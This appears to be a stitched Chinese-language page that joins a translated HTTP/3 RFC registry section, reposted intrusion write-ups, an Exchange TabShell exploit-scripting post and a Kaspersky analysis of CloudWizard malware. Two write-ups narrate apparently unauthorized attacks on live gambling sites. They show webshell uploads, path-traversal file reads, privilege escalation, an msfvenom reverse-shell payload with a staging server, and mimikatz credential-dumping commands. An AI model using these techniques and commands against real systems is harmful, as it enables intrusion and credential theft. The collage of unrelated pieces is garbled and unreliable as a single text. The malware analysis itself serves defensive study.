11.1. 註冊HTTP/3標識字符串本文在[RFC7301]建立的“TLS 應用層協議協商(ALPN) 協議ID”註冊表中創建了一個新的HTTP/3標識註冊。

“h3”字符串標識HTTP/3；

協議：HTTP/3；

識別順序：0x680x33 ('h3')；

規格：本文件；

11.2 新註冊在本文中創建的新註冊按照[QUIC-TRANSPORT] 第22.1 節中記錄的QUIC 註冊政策運行。這些註冊表都包括[QUIC-TRANSPORT] 的第22.1.1 節中列出的通用字段集。這些註冊表出現在“超文本傳輸協議版本3 (HTTP/3)”標題下。

這些註冊表中的初始分配都被分配了永久狀態，並列出了IETF 的變更控制者和HTTP 工作組的聯繫人(ietf-http-wg@w3.org)。

11.2.1 幀類型

本文為HTTP/3幀類型代碼建立了一個註冊表。 “HTTP/3幀類型”註冊表管理62位空間。本註冊中心遵循QUIC註冊中心政策；參見11.2節。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表與[HTTP/2] 中定義的“HTTP/2 幀類型”註冊表是分開的，但在代碼空間重疊的情況下，分配最好彼此平行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2節中描述的常見字段外，本註冊中心的永久註冊必須包括以下字段：

幀類型：幀類型的名稱或標籤。

幀類型的規範必須包括幀佈局及其語義的描述，包括有條件存在的幀的任何部分。

下表中的條目都是由本文介紹過的。

12.png

初始HTTP/3幀類型

對於N 的非負整數值，即0x21、0x40、到0x3ffffffffffffffe，格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.2 SETTINGS參數

由於為HTTP/3設置了註冊表。 “HTTP/3設置”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策，具體見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。

雖然此註冊表不同於[HTTP/2] 中定義的“HTTP/2 設置”的註冊表，但最好是這些分配彼此並行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。

除了第11.2 節中描述的通用字段外，此註冊表中的永久註冊必須包括以下字段：

設置名稱：設置的符號名稱，指定設置名稱是可選的。

默認值：該設置的值，除非另有說明。默認值應該是最具限制性的值。

13.png

初始HTTP/3設置

出於格式原因，可以通過刪除'SETTINGS_'前綴來簡化設置名稱。

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.3 錯誤代碼

已經建立了HTTP/3錯誤碼的註冊表。 “HTTP/3錯誤碼”註冊表管理一個62位的空間。該註冊中心遵循QUIC註冊中心政策。此註冊表中的永久註冊使用規範要求策略([RFC8126])分配，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

錯誤代碼的註冊需要包含錯誤代碼的描述，建議審閱者檢查新註冊是否可能與現有錯誤代碼重複。鼓勵使用現有註冊，但不是強制性的。不鼓勵使用在“HTTP/2 錯誤代碼”註冊表中註冊的值，專家審閱者可能會拒絕此類註冊。

除了第11.2節中描述的通用字段外，這個註冊表還包括兩個附加字段。在本註冊中心的永久註冊必須包括以下字段：

名稱：錯誤代碼的名稱。

描述：錯誤代碼語義的簡要描述。

下表中的條目是本文所介紹的。這些錯誤代碼是從對規範要求策略運行的範圍中選擇的，以避免與HTTP/2 錯誤代碼衝突。

14.png

初始HTTP/3 錯誤代碼

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

11.2.4 流類型

HTTP/3單向流類型會建立一個註冊表，“HTTP/3流類型”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略分配的，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。

除了第11.2 節中描述的常見字段外，此註冊表中的永久註冊必須包括以下字段：

流類型：流類型的名稱或標籤。

發件人：HTTP/3 連接上的哪個終端可以啟動這種類型的流。值為“客戶端”、“服務器”或“兩者都有”。

永久註冊的規範必須包括流類型的描述，包括流內容的佈局和語義。

下表中的初始流類型是本文出現過的：

15.png

初始流類型

對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

HireHackking

今天在浏览网页时突然发现了一个菠菜站，网站截图我就不发了

都说菠菜站做的比较安全不容易渗透，今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了，只能挂代理再看看。

浏览发现这个站应该不是菠菜主站，而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜

图片[1]-渗透进入菠菜服务器（实战）-可能资源网

这里居然可以上传sfz，那不意味着可能存在文件上传漏洞吗？在信息搜集的时候知道了这个服务器是IIS7.5的

图片[2]-渗透进入菠菜服务器（实战）-可能资源网

前段时间刚好复习了解析漏洞，所以就试一试是否存在该漏洞

图片[3]-渗透进入菠菜服务器（实战）-可能资源网

将php的大马做成图片马进行上传

图片[4]-渗透进入菠菜服务器（实战）-可能资源网

从响应结果来看上传成功了，并且还返回了地址。接着就来访问一下

图片[5]-渗透进入菠菜服务器（实战）-可能资源网

可以看到确实解析成功了，但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传

图片[6]-渗透进入菠菜服务器（实战）-可能资源网

再次访问发现可以正常使用了，进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。

图片[7]-渗透进入菠菜服务器（实战）-可能资源网

既然有了webshell了，那么就先看看当前的权限吧

图片[8]-渗透进入菠菜服务器（实战）-可能资源网

真是难搞额，又一次碰到了低权限。先不考虑提权，继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件，显示如下

图片[9]-渗透进入菠菜服务器（实战）-可能资源网

赶紧连接数据库看看

图片[10]-渗透进入菠菜服务器（实战）-可能资源网

发现了疑似管理员的账户和密码，试了试这个是能够解密出来的，运气还不错

图片[11]-渗透进入菠菜服务器（实战）-可能资源网

接下来就登录后台看看

图片[12]-渗透进入菠菜服务器（实战）-可能资源网
图片[13]-渗透进入菠菜服务器（实战）-可能资源网

结果大失所望，原本以为会有各种用户的信息和资金流之类的。都到了这一步了，只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候，居然在某个文件夹下面发现了服务器的资料文件

图片[14]-渗透进入菠菜服务器（实战）-可能资源网

注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的，并账户和密码都给出来了，太贴心了。尝试登陆上去看看

图片[15]-渗透进入菠菜服务器（实战）-可能资源网
图片[16]-渗透进入菠菜服务器（实战）-可能资源网

如图，几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。

在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码，登陆上看看

图片[17]-渗透进入菠菜服务器（实战）-可能资源网

通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点，功能还各不相同。一个是主站，一个是办理活动的，还有一个是抢红包的。可真是丰富多彩啊。


转载于原文链接：

https://www.kngzs.cn/1705.html


HireHackking

0x00 前言利用TabShell可以使用普通用戶逃避沙箱並在Exchange Powershell中執行任意cmd命令，本文將要介紹利用TabShell執行cmd命令並獲得返回結果的方法，分享通過Python編寫腳本的細節。

0x01 簡介本文將要介紹以下內容：

執行cmd命令並獲得返回結果的方法

Python實現

0x02 執行cmd命令並獲得返回結果的方法testanull公開了一個利用的POC，地址如下：https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e

為了能夠支持更多的命令，POC需要做簡單修改，細節如下：

某些命令無法執行，例如netstat -ano或者systeminfo

解決方法：

去掉命令：$ps.WaitForExit()

執行cmd命令並獲得返回結果的方法有以下兩種：

1.使用Powershell連接Exchange服務器，實現TabShellPowershell命令示例：

1.png 2.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或https

認證方式可以選擇Basic或Kerberos

2.通過SSRF漏洞調用Exchange Powershell，實現TabShell這裡需要通過Flask建立本地代理服務器，方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

Powershell命令示例：

3.png 4.png

0x03 Python實現這裡需要考慮兩部分，一種是通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現，另一種是通過Powershell Session實現TabShell的Python實現，後者比前者需要額外考慮通信數據的編碼和解碼，具體細節如下：

1.通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現為了分析中間的通信數據，抓取明文數據的方法可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x04，在Flask中輸出中間的通信數據

關鍵代碼示例：

5.png

通過分析中間的通信數據，我們可以總結出以下通信過程：

(1)creationXml

初始化，構造原始數據

(2)ReceiveData

循環多次執行，返回結果中包含'RunspaceState'作為結束符

(3)執行命令;/./././Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression

在返回數據中獲得CommandId

(4)讀取輸出結果

通過CommandId讀取命令執行結果

(5)執行命令$ExecutionContext.SessionState.LanguageMode='FullLanguage'

在返回數據中獲得CommandId

(6)讀取輸出結果

通過CommandId讀取命令執行結果

(7)執行命令並獲得返回結果

依次執行以下命令：

6.png在返回數據中獲得CommandId，並通過CommandId讀取命令執行結果，這些命令的格式相同，發送數據的格式如下：

7.png 8.png 9.png 10.png 11.png

(8)執行命令並獲得最終返回結果

發送數據的格式同(7)一致，執行的命令為：$Out，在返回數據中獲得CommandId，並通過CommandId讀取最終的命令執行結果，提取執行結果的示例代碼：

12.png

2.通過Powershell Session實現TabShell的Python實現這裡可以藉鑑上一篇文章《渗透技巧——Exchange Powershell的Python实现》 得出的經驗：兩者通信過程一致，只是通過Powershell Session實現TabShell的Python實現需要額外考慮通信數據的編碼和解碼

通信數據的編碼和解碼可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x03

數據的編碼和解碼示例代碼如下：

13.png 14.png完整代碼的輸出結果如下圖

15.png

0x04 小結本文介紹了利用TabShell執行cmd命令並獲得返回結果的方法，改進POC，分享通過Python編寫腳本的細節。

HireHackking

信息收集

         正准备开干，有人企鹅私聊我让我跟他赚大钱。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

         群发也就算了，都开始私聊了，现在不法分子猖狂到什么地步了，这能惯着它。。。京东卡先放放，打开前台是个博彩论坛。

记一次菠菜论坛的渗透测试经历

        随手一个login，后台出来了，网站是php的，常用口令试了几次，admin存在，密码错误。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           放在云悉上看一下。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

           访问一下子域名，很僵硬。

记一次菠菜论坛的渗透测试经历

        再看看端口吧，3306开放，主机是Windows的。

记一次菠菜论坛的渗透测试经历

       收集完毕，框架没扫出来，几乎没啥进展，唯一的突破点就是后台和端口了。

记一次菠菜论坛的渗透测试经历

登录后台

       3306抱着尝试心态爆破试试，不出意外，mysql没出来。

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

    top100后台爆破试了一下没出来，希望不大，翻找js，可能会有口令，敏感路径，特殊接口什么，但是真的干干净净，可能我看的不仔细。

没有其他突破点，只能再爆破后台试一下了，拿了个大字典，真的跑了超久，最后总算出来了，铁头娃在世。用的字典是人名缩写、年份、特殊字符给搞出来了。

记一次菠菜论坛的渗透测试经历

坎坷上传

后台论坛文章管理处看见编辑器，瞬间两眼放光。

记一次菠菜论坛的渗透测试经历

      允许单图片、多图片尝试上传。

记一次菠菜论坛的渗透测试经历

         裂开了，白名单限制。

记一次菠菜论坛的渗透测试经历

        各种截断绕过失败。

记一次菠菜论坛的渗透测试经历

          看看是什么编辑器，翻找js文件，得知为wangeditor编辑器。

记一次菠菜论坛的渗透测试经历

        网上搜了一下，这个编辑器好像没什么漏洞，思路已干~

记一次菠菜论坛的渗透测试经历

转折出现

继续翻翻找找，发现订单详情也可下载订单图片。

下载链接：

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20191115/1605370100637841.jpg

记一次菠菜论坛的渗透测试经历

通过下载链接得到了网站绝对路径，猜测wwwroot为网站根目录，难道存在任意文件下载？

构造链接尝试一下：

http://www.xxx.com/download.php?filepath=../../../wwwroot/news.php

记一次菠菜论坛的渗透测试经历
记一次菠菜论坛的渗透测试经历

Nice啊，胡汉三终于要翻身了。

记一次菠菜论坛的渗透测试经历

继续寻找配置文件，一般index.php会引入数据库配置文件。

http://www.xxx.com/download.php?filepath=../../../wwwroot/index.php

记一次菠菜论坛的渗透测试经历

继续构造查看config.php。

http://www.xxx.com/download.php?filepath=../../../wwwroot/config.php

记一次菠菜论坛的渗透测试经历

拿到账号尝试连接，提示没有权限，还是以失败告终，猜测存在防火墙，或者数据库host值设置为仅本地访问。

没办法，继续翻，尝试读取apache配置文件。

http://www.xxx.com/download.php?filepath=../../../../apache/conf/httpd.conf

记一次菠菜论坛的渗透测试经历

王特发！！！html文件可作为php文件执行，赶紧回去尝试上传文件处，修改后缀上传，俩处上传点均上传失败~

继续翻，在会员管理找到一处上传头像处。

记一次菠菜论坛的渗透测试经历

修改文件名称上传，响应并返回上传路径。

记一次菠菜论坛的渗透测试经历

构造链接下载，文件下载已成功，证明存在。

http://www.xxx.com/download.php?filepath=../../../wwwroot/php/upload/20201115/1805872100098841.html

记一次菠菜论坛的渗透测试经历

拼接访问，成功解析。

http://www.xxx.com/php/upload/2020xxxx/1805872100098841.html

记一次菠菜论坛的渗透测试经历

激动地心，颤抖的手啊，成功getshell。

记一次菠菜论坛的渗透测试经历

梭哈成功

尝试提权，查看补丁情况，更新了不少，不过总有漏网之鱼。

记一次菠菜论坛的渗透测试经历

使用工具，直接搜索未打补丁，exp怼上，提权成功，拿到管理员权限。

记一次菠菜论坛的渗透测试经历

继续反弹shell，毕竟终端用的不舒服，这里用MSF反弹shell。

1、首先使用msf在本地生成一个木马文件，指定payload；

msfvenom -p  windows/x64/meterpreter_reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f exe -o achess.exe

记一次菠菜论坛的渗透测试经历

2、本地开启python服务器，端口为8000；

python -m http.server 8000

记一次菠菜论坛的渗透测试经历

3、将文件放置在python服务器中，查看已经开启；

记一次菠菜论坛的渗透测试经历

在终端目标机中下载exe文件；

echo  open  服务器ip:8000>exe文件。

记一次菠菜论坛的渗透测试经历

4、使用msf中reverse_tcp开启监听；

handler -p windows/meterpreter_reverse_tcp -H ip -P 4444

记一次菠菜论坛的渗透测试经历

5、执行exe文件，成功收到shell。

记一次菠菜论坛的渗透测试经历

拿到会话不要掉以轻心，MSF中自带mimikatz模块，MSF中的 mimikatz 模块同时支持32位和64位的系统，但是该模块默认加载32位系统，所以如果目标主机是64位系统，直接加载该模块会导致很多功能无法使用。所以64位系统下必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载mimikatz并且查看系统明文，同时也是防止会话断掉。

Ps查看进程，寻找稳定进程进行迁移。

migrate pid号

记一次菠菜论坛的渗透测试经历

将meterpreter进程迁移到408进程：migrate  408

记一次菠菜论坛的渗透测试经历

成功迁移，万事具备，就差密码，同样使用MSF中mimikatz模块抓取密码。

首先加载mimikatz模块：

记一次菠菜论坛的渗透测试经历

这里列出 mimikatz_command模块用法:

meterpreter > mimikatz_command -f a::  输入一个错误的模块，可以列出所有模块

meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令

meterpreter > mimikatz_command -f samdump::hashes

meterpreter > mimikatz_command -f handle::list  列出应用进程

meterpreter > mimikatz_command -f service::list  列出服务

meterpreter > mimikatz_command -f sekurlsa::searchPasswords

meterpreter > run post/windows/gather/smart_hashdump  获取hash

选择samdump模块，该模块存在俩个功能:

?  mimikatz_command -f  samdump::hashes

?  mimikatz_command -f  samdump::bootkey

记一次菠菜论坛的渗透测试经历

但是这样抓到的是密码的hash值，我想直接看到明文密码，使用sekurlsa模块下的searchPasswords功能,执行以下命令,成功抓取密码。

mimikatz_command  -f sekurlsa::searchPasswords

记一次菠菜论坛的渗透测试经历

最后3389连接成功，打完收工。

记一次菠菜论坛的渗透测试经历

证明有时当一当铁头娃还是不错的。

总结

从云悉，fofa，各类插件，子域名，端口信息收集，爆破后台进入该站点(有个好字典很重要)，找到编辑器上传文件失败，白名单限制，js文件找到该编辑器名称，查询编辑器漏洞无果，找到图片下载处功能点，下载链接暴露网站路径，通过文件下载找到数据库配置文件，连接无权限，找到apache配置文件，发现文件后缀可绕过，另寻其他上传点成功getshell，提权操作后使用MSF中mimikatz模块抓取到登录密码，远程桌面连接成功，至此渗透结束。


转载于原文链接： https://cloud.tencent.com/developer/article/1790943


HireHackking

sl-magic-book-blue-code-1200x600.jpg

今年3月，卡巴斯基實驗室的研究人員在俄烏衝突地區新發現了一個APT活動，該活動涉及使用PowerMagic和CommonMagic植入程序。然而，當時還不清楚是哪個組織發起了這次攻擊。

在尋找與PowerMagic和CommonMagic相似的植入程序時，研究人員發現了來自同一組織發布的更複雜的惡意活動。最有趣的是，受害者廣泛分佈在俄烏衝突地區。目標包括個人，以及外交和研究機構。惡意活動涉及使用我們稱之為CloudWizard的模塊化框架。它的功能包括截圖、麥克風錄音、鍵盤記錄等。

在俄烏衝突地區運營的APT最近急劇增多，比如Gamaredon、CloudAtlas、BlackEnergy等。其中一些APT在過去早已被淘汰，例如ESET在2016年發現的Prikormka（Groundbait活動）。雖然幾年來沒有關於Prikormka或Operation Groundbait的更新，但我們發現了該活動中使用的惡意軟件CommonMagic和CloudWizard之間的多個相似之處。經過進一步調查，我們發現CloudWizard有著豐富而有趣的歷史。

初步調查結果惡意軟件作為一個名為“syncobjsup”的可疑Windows服務運行。該服務是由一個同樣可疑的路徑“C:\ProgramData\Apparition Storage\syncobjsup.dll”的DLL控制的。執行時，我們發現該DLL可以解密與該DLL位於同一目錄中的文件mods.lrc中的數據。用於解密的密碼是RC5，密鑰為88 6A 3F 24 D3 08 A3 85 E6 21 28 45 77 13 D0 38。然而，使用標準RC5實現對文件進行解密只會產生垃圾數據。仔細研究樣本中的RC5實現就會發現它存在漏洞：

1.png

漏洞在內部循環中：它使用變量i而不是j

對這個漏洞實現的搜索顯示，GitHub上的代碼要點很可能是被植入程序的開發人員借用的。在這個要點的評論中，GitHub用戶強調了這個漏洞：

2.png

同樣有趣的是，來自gist的密鑰與syncobjsup.dll庫中使用的密鑰相同。

解密後的文件在我們看來就像一個虛擬文件系統（VFS），包含多個可執行文件及其JSON編碼的配置：

3.png

這個VFS中的每個條目都包含魔術字節(' CiCi ')，條目名稱的ROR6哈希，以及條目大小和內容。

在mods.lrc中，我們發現：

三個dll（導出表名為Main.dll、Crypton.dll和Internet.dll）；

這些DLL的JSON配置。

syncobjsup.dll DLL迭代VFS條目，查找名稱為“Main”(ROR6 hash:0xAA23406F)的條目。此條目包含CloudWizard的Main.dllOrchestrator庫，該庫通過調用其SvcEntry導出進行反射加載和啟動。

4.png

在啟動時，Orchestrator生成一個掛起的WmiPrvSE.exe進程並將自身注入其中。從WmiPrvSE.exe進程中，它對VFS文件進行備份，複製mod。 LRC到mods, lrs。然後解析mod。獲取所有框架模塊dll及其配置。如上所述，配置是帶有字典對象的JSON文件:

5.png

Orchestrator本身包含一個配置，其參數如下：

受害者ID（例如03072020DD）；

框架版本（最新觀測版本為5.0）；

連續兩次檢測信號之間的間隔時間；

啟動模塊後，Orchestrator開始通過發送檢測信號消息與攻擊者通信。每次檢測信號都是一個JSON文件，包含受害者信息和加載模塊列表：

6.png

此JSON字符串使用加密模塊（來自VFS的Crypton.dll）加密，並通過互聯網通信模塊（internet.dll）發送給攻擊者。

作為對檢測信號的響應，Orchestrator接收允許其執行模塊管理的命令：安裝、啟動、停止、刪除模塊或更改其配置。每個命令都包含魔術字節（DE AD BE EF）和一個JSON字符串(e.g. {“Delete”: [“Keylogger”, “Screenshot”]})，後面跟著一個模塊DLL文件。

7.png

加密與通信如上所述，每次安裝CloudWizard框架時都會捆綁兩個模塊（Crypton.dll和Internet.dll）。 Crypton模塊對所有通信進行加密和解密。它使用兩種加密算法：

檢測信號消息和命令使用AES加密（密鑰在JSON配置VFS文件中指定）；

使用AES和RSA的組合對其他數據（例如，模塊執行結果）進行加密。首先，使用生成的偽隨機AES會話密鑰對數據進行加密，然後使用RSA對AES密鑰進行加密。

8.png

互聯網連接模塊將加密數據轉發給惡意軟件操作者。它支持四種不同的通信類型:

雲存儲:OneDrive, Dropbox, Google Drive；

基於Web的C2服務器；

主雲存儲是OneDrive，如果OneDrive無法訪問，則使用Dropbox和Google Drive。該模塊的配置包括雲存儲身份驗證所需的OAuth令牌。

至於web服務器終端，則在模塊無法訪問三個雲存儲中的任何一個時使用。為了與它交互，它向其配置中指定的URL發出GET請求，並在響應中獲取新命令。這些命令可能包括新的雲存儲令牌。

在檢查網絡模塊的字符串時，我們發現了一個包含來自開發人員計算機的目錄名的字符串：D:\Projects\Work_2020\Soft_Version_5\Refactoring。

模塊介紹信息收集是通過輔助DLL模塊完成的，這些模塊具有以下導出函數：

Start：啟動模塊；

Stop：停止模塊；

Whoami：返回帶有模塊信息(e.g. {“Module”:”Keylogger “,”time_mode”:”2″,”Version”:”0.01″})的JSON-object，time_mode的值表示該模塊是否是持久化的；

GetResult：返回模塊執行的結果(例如收集的屏幕截圖，麥克風錄音等)。大多數模塊以ZIP的形式返回結果（存儲在內存中）；

GetSettings：返回模塊配置；

模塊可以在重新啟動後繼續（在本例中，它們保存在mods.lrs VFS文件中）或在內存中執行，直到計算機關閉或操作員刪除模塊。

我們總共發現了9個輔助模塊執行不同的惡意活動，如文件收集、鍵盤記錄、截屏、錄製麥克風和竊取密碼。

我們最感興趣的模塊是從Gmail帳戶中執行電子郵件洩露的模塊。為了竊取，它從瀏覽器數據庫讀取Gmail cookie。然後，它使用獲得的cookie通過向https://mail.google.com/mail/u/

9.png

如果模塊收到這樣的提示，它模擬點擊“我想使用HTML Gmail”按鈕，通過從提示的HTML代碼向URL發出POST請求。

10.png

在獲得對傳統web客戶端的訪問權限後，該模塊會過濾活動日誌、聯繫人列表和所有電子郵件。

同樣有趣的是，這個模塊的代碼部分是從洩露的黑客團隊源代碼中藉來的。

在獲得CloudWizard的Orchestrator（MySQL 複製拓撲管理和可視化工具）及其模塊後，研究人員還未發現框架安裝程序。在搜索舊的分析數據時，我們能夠識別出從2017年到2020年使用的多個安裝程序。當時安裝的植入程序的版本是4.0(如上所述，我們觀察到的最新版本是5.0)。

未覆蓋的安裝程序是用NSIS構建的。啟動時，它會釋放三個文件：

C:\ProgramData\Microsoft\WwanSvc\WinSubSvc.exe；

C:\ProgramData\Microsoft\MF\Depending.GRL(在其他版本的安裝程序中，此文件也位於C:\ProgramData\Microsoft\MF\etwdrv.dll中)；

C: \ ProgramData \ System \ \ etwupd.dfg；

之後，它創建了一個名為“Windows Subsystem Service”的服務，該服務被配置為在每次啟動時運行WinSubSvc.exe二進製文件。

值得注意的是，安裝程序在感染後會顯示一條“Well done!”的消息：

11.png

這可能表明我們發現的安裝程序用於通過對目標計算機的物理訪問來部署CloudWizard，或者安裝程序試圖模擬網絡設置（如窗口標題中所示）配置程序。

舊版（4.0）和新版（5.0）CloudWizard有主要有以下區別：

舊版（4.0）網絡通信和加密模塊包含在主模塊中，而新版（5.0）網絡通信和加密模塊相互獨立；

舊版（4.0）框架源文件編譯目錄：D:\Projects\Work_2020\Soft_Version_4\ service，而新版（5.0）框架源文件編譯目錄是D:\Projects\Work_2020\Soft_Version_5\Refactoring；

舊版（4.0）使用RC5Simple庫中的RC5(硬編碼密鑰:7Ni9VnCs976Y5U4j)進行C2服務器流量加密和解密，而新版（5.0）使用RSA和AES進行C2服務器流量加密和解密(密鑰在配置文件中指定)。

幕後組織對CloudWizard進行細緻研究之後，研究人員決定尋找一些其幕後組織的線索。 CloudWizard讓研究人員想起了在烏克蘭觀察到並公開報導的兩次活動：Groundbait活動和BugDrop活動。 ESET於2016年首次公開了Groundbait活動，並於2008年首次觀察到其植入程序。在調查“Groundbait”活動時，ESET發現了Prikormka惡意軟件，這是第一個被公開有明確攻擊目標的烏克蘭組織開發的惡意軟件。根據ESET的報告，其幕後組織很可能來自烏克蘭。

至於BugDrop活動，這是CyberX在2017年發現的一個活動。該組織聲稱BugDrop活動與Groundbait活動有相似之處。卡巴斯基實驗室的研究人員也發現了類似的證據：

1.Prikormka USB DOCS_STEALER模塊(MD5: 7275A6ED8EE314600A9B93038876F853B957B316)包含PDB路徑D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb；

2.BugDrop USB竊取模塊(MD5: a2c27e73bc5dec88884e9c165e9372c9)包含PDB路徑D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb；

再加上以下證據，CloudWizard框架的幕後組織與Groundbait活動和BugDrop活動幕後組織是一致的：

3.ESET研究人員發現，CloudWizard 4.0版本的加載程序(導出名稱為LCrPsdNew.dll)與Prikormka dll類似。

12.png

4.ESET檢測到CloudWizard 4.0樣本(MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb)的加載程序為Win32/Prikormka.CQ。

5.Prikormka惡意軟件的多次感染都導致了CloudWizard框架的感染；

6.CloudWizard的幾個模塊實現類似於Prikormka和BugDrop模塊的相應模塊，不過由C變成了c++，USB竊取模塊通過IOCTL_STORAGE_QUERY_PROPERTY系統調用檢索連接的USB設備的序列號和產品ID。運行失敗的默認回退值為“undef”。

13.png

在BugDrop中檢索USB設備序列號和產品ID（MD5:F8BDE730EA3843441A657A103E90985E）

14.png

在CloudWizard中檢索USB設備序列號和產品ID（MD5:39B01A6A025F672085835BD699762AEC）

15.png

在上面的樣本中，在BugDrop（左）和CloudWizard（右）中分配“undef”字符串

7.用於截圖的模塊使用相同的窗口名稱列表來觸發截圖頻率的增加:“Skype”和“Viber”。 CloudWizard和Prikormka的截屏間隔使用相同的默認值(15分鐘)。

16.png

Prikormka中窗口標題文本的比較(MD5: 16793D6C3F2D56708E5FC68C883805B5)

17.png

在CloudWizard中將“SKYPE”和“VIBER”字符串添加到一組窗口標題中（MD5:26E55D10020FBC75D80589C081782EA2）

8.Prikormka和CloudWizard樣本中的文件列表模塊具有相同的名稱：Tree。它們也對目錄列表使用相同的格式字符串：“\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”。

18.png

在Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B525B5870FE61221D9934D）中使用相同格式的字符串作為目錄列表

9.麥克風模塊以相同的方式錄製聲音：首先使用Windows Multimedia API製作WAV錄製，然後使用LAME庫將其轉換為MP3。雖然這種模式在惡意軟件中很常見，但用於指定LAME庫設置的字符串是特定的：8000 Hz和16 Kbps。 Prikormka和CloudWizard模塊都從這些字符串中提取整數，並在LAME庫中使用它們。

10.在Prikormka和CloudWizard模塊中的擴展列表中使用了類似的擴展順序：

19.png

Prikormka（MD5:EB56F9F7692F933BEE9660DFDFABAE3A）和CloudWizard（MD5:BF64B896B5253B5870FE61221D9934D）中的擴展列表

11.在Prikormka中，上傳至C2服務器的文件名格式為mm.yy_hh.mm.ss.

12.Prikormka和CloudWizard的C2服務器都由位於烏克蘭的託管服務託管。此外，在將文件洩露到Dropbox雲存儲方面，BugDrop和CloudWizard也有相似之處。

13.Prikormka、BugDrop和CloudWizard的受害者位於烏克蘭西部和中部，以及東歐的衝突地區。

CloudWizard和CommonMagic的相似之處如下：

14.在兩個框架中，執行與OneDrive通信的代碼是相同的。研究人員目前還沒有發現這段代碼是任何開源庫的一部分。此代碼使用相同的用戶代理:“Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML，如Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”。

20.png

CloudWizard的互聯網通信模塊中的相同字符串(左，MD5: 84BDB1DC4B037F9A46C001764C115A32)和CommonMagic(右，MD5: 7C0E5627FD25C40374BC22035D3FADD8)

15.CloudWizard版本4和CommonMagic這兩個框架都使用RC5Simple庫進行加密。用RC5Simple加密的文件以一個7字節的標頭開始，在庫源代碼中設置為' RC5SIMP '。然而，這個值在惡意植入程序中已經發生了變化：CloudWizard中的DUREX43和CommonMagic中的Hwo7X8p。此外，CloudWizard和CommonMagic使用RapidJSON庫解析JSON對象。

16.在CommonMagic中上傳到C2服務器的文件名格式為“mm.dd _hh.mm.ss.ms.dat”(CloudWizard中上傳的文件名格式為“dd.mm.yyyy_hh.mm.ss.ms.dat”)。

17.從CloudWizard和CommonMagic樣本中提取的受害者ID是相似的：它們包含後跟兩個相同字母的日期，例如CloudWizard中的03072020DD, 05082020BB和CommonMagic中的WorkObj20220729FF。

18.CommonMagic和CloudWizard的受害者位於東歐的衝突地區。

21.png

